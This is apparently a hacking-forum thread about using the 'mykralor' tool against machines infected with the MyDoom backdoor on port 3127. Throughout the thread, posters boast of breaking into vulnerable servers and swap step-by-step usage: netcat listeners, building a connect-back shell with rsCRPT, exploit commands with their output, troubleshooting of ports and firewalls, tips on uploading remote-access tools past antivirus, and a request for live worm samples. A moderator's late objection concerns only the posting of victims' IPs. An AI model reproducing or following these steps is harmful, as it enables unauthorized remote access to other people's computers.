We all want that,hehehehe

every server where i get in, i make and will make a folder on the desktop " HACKED .... plz secure again the mydoom virus"
so i think i will help many firms, private people who didn't secure their servers yet.

and also 99.99999% is patched because this virus was broadcasted all over the world so people are patching like hell.

Exploits like rpc and wks or dameware dont go on air, so that takes longer that ppl patches their pc's

greetz TBA

Do you have file extensions turned on?
All this stuff works fine, except if you have no admin rights.
BTW excellent work sPiKie, your compiled code is working no probs

this thing is dead ...... to tell the truthe it was never realy alive....

very nice post

lets test ...

works good.. nice exploit..

yeah nice thx for sharing

very good indeed
a lot of vulnerable servers i got with my first scan

yep great thing, guess people hacked a lot of pr0n browing students on phat pipes

coromputer pawa !!

I agree with Spikie but then if you want this purelly for security then you wouldnt post it here...

btw most ISPs have port 3127 blocked allready;)

uuuu dead ..... :/
but lovesun is good ...

peace ...

hmmmm
maybe I am trying to exploit applications

but I havent exploited a single ip with port 3127 open
too bad

nice exploit , i will test it big thx
kiss

hm..thnx for this, i'll have to test it out, also seen another reverse shell program for this also, haven't tested it yet tho

I have a problem. When i upload a shell with my ip and port 8080 and set netcat listening on my computer on port 8080 then that does nothing. WHY??

maybe there is a fierwall ?

i am clue less... i dont know the steps.. any one can help me plz do..
if u cant reach me then eamil it to jzthug44@yahoo.com

you (filtered) n00bs, just leave it. its even pointless to moan and cry over it now. if u can read a (filtered) 12 page thread and figure out how to do it, u probably never will. most people who arent getting a shell probably need to set port forwarding and the other half, the new worm has been patching most of the systems so only a few thousands remain, so the odds are very low.

Hi!

The exploit/technique worx great.
At leas with MyDoom.A.
Could anybody send me MyDoom.B, C and/or Doomjouce.B for testing? (Please zip them with password written in the mail, 'cause my server deletes the virus files )
Does this thing work with the new variants too? (With the appropriate ports of course)
Or has the password changed?

Thx:
Cye
(cziber@ludens.elte.hu)

i need help,
i find a machine vulnerable on port 3127
i have a bat with "nc -l -vv -p 666"
i launch that and it says listening on port 666
then i launch rsCRT.exe and enter in my ip and port 666
then i save it as shell.exe
then in dos i type mykalor.exe <victims ip> port 666 shell.exe
and it does nothing what am i doing wrong?

port 666 is not the correct port to connect to the victim.
666 is the port that it is going to connect back to you on!

so how do i do this, i will gladly reward anyone that helps me

Give up, ffs, give up, its dead, its been dead for 48 hours now.
The worm stopped propigating on the 12th, the ones that weren't hacked
and patched to prevent rehacking have been cleaned by av, or the new worm(stupid anti-worm worms).

no thats wrong, i do it with mykralor.exe IP PORT blub.exe and it works...

Just a thing for thoses who can't use the reverse shell : share IPC on the computer with a bat like this :

nice Exploit thanks man
i have scaned on port 3127
Didnt find any one yet
thanks agine

hi

thx its n1ce and the best it works ;-)

thx

Axaxa nice work, kralor is the best i think!!
Hey you there is not port 3127 (is a joke))
Read carefoull
Nice post!!

first thanks a lot for this informations but i have a question
is that possible that with my router i couldn't received the remote shell ?
thx

no you have to open the port 3127 ... or the port where you want to get a shell

(sry 4 my engl)

greetz

I have a problem
1 Run netcat
'nc.exe -l -vv -p 3127'
after run rsCRPT < my ip > listening port (3127) Create file
save ( junta )
after run exploit mykralor
mykralor < ip victim > 3127 junta

[+] Reading file to send (max length 1599bytes) ...Done
[+] Connecting to infected ip ...Done
[+] Sending file ...Done
[+] Exiting.

ok send file

listening port i see



and nothing

what the problem ?

u have to use another port than 3127, try 3128 or something in ur shell, because mydoom is running on 3127<<this port u have to scan

I dont know what's your problem but mydoom is dead already, the mydoom.a and b are replaced with mydoom.c, that one dont have a backdoor so the port stay's open but the file isnt executed when you upload it....(sorry for bad english)

yes its really dead
the same as dameware exploit :*(

i have used it it work
but i want to know how to add paramete of the exe i want to excute

Mydoom Backdoor execute automaticly the exe send. With Kralor epxloit you send a little exe compiled with rsCRPT qui open a shell. And the backdoor execute automaticly the exe send. If you want upload another file use another exploit without space limitation to send file. (you can upload a backdoor for exemple)

there is a trouble thing that most of my backdoor is deleted by the anitvirus
so i want to upload and excute software such an radmin or remote anything
but these software will add a icon in the banner so it will be kill by administrator

It s why you must the kralor shell generator ....

y r u posting someones ip in an open forum
that shouldnt b allowed

Stop posting peoples IP addresses on this forum. This board was designed for government officials and anyone interested in computer security to hang out, have a laugh, and learn from other kind members here. Members are allowed indefinately to discuss exploits and their usage, but when you jeapardise peoples computer systems, you take it too far. Posting an IP address which is obviously infected is a stupidly irresponsible thing to do, and you know better.


This discussion can continue, but please keep it professional, that's what we are; mature adults. This is quite an interesting discussion so far, but please don't ask for step by step instructions. Remember guys; sometimes exploits are deliberately crippled. Ask yourself why .


-Shaun.

Hi thanks for the exploit!

Is there a scanner that checks to see if it exploitable or not? not just a port scanner.

Thanks again!